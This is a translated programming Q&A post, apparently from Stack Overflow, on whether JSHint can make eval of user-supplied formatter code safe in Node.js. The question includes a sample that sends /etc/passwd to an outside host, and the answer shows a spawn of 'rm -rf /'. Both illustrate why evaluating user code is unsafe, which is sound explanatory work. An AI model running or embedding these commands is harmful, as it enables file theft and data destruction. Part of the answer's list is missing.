想象一下,例如(授权)用户可以将自定义格式化程序提交给nodejs服务器,该服务器会有类似这样的代码。
var JSHINT = require('jshint').JSHINT;
function formatterFactory(code) {
// we could pass more options to jshint...
JSHINT(code, {undef:true},['input','output']);
if (JSHINT.data().errors) {
// throw error...
console.dir(JSHINT.errors);
throw new Error(JSHINT.data().errors[0].reason);
}
// otherwhise eval
return function(input) {
var output;
eval(code);
return output;
}
}
var userNastyCode = ' \
var http = require("http"); \
var fs = require("fs"); \
http.request({ \
method: "POST", \
host: "example.org", \
path: "/muahaha" \
}, function(res) { \
res.resume(); \
}).end(fs.readFileSync("/etc/passwd"));';
var userFormatter = formatterFactory(userNastyCode);
userFormatter('some thing');
// throws error 'require' is not defined.
答案 0 :(得分:3)
用户提供的文字永远不会对eval
安全,或者至少应该被认为是永远不安全的,因为您可以用来证明安全的努力量远远超过了以不同的方式完成您想要的工作量
JSHint着眼于代码语法和(可能有些主观的)质量测量,恶意代码完全能够满足这两个方面。例如,如果您允许我在您的服务器上运行它,这可能会造成很大的损害:
require('child_process').spawn('rm', ['-rf', '/']);
JSHint并没有抱怨它,如果你有自定义配置,我可以修改我的代码来传递,或者如评论中所提到的,只是包含我自己的配置,让JSHint平静下来。你应该记住的是,如果你让我交代你的代码,我可以做你能做的任何事情。它比让我直接编辑您的文件更难一点,但是没有真正的方法阻止我做你不想要的事情。
在这种特殊情况下,我会考虑几件事:
yyyy-mm-dd
,而不必让他们选择自己的JS,并且有很多库可以将格式化字符串传递给。无论您最终如何,我都会在您自己的代码中禁用JSHint evil
选项:)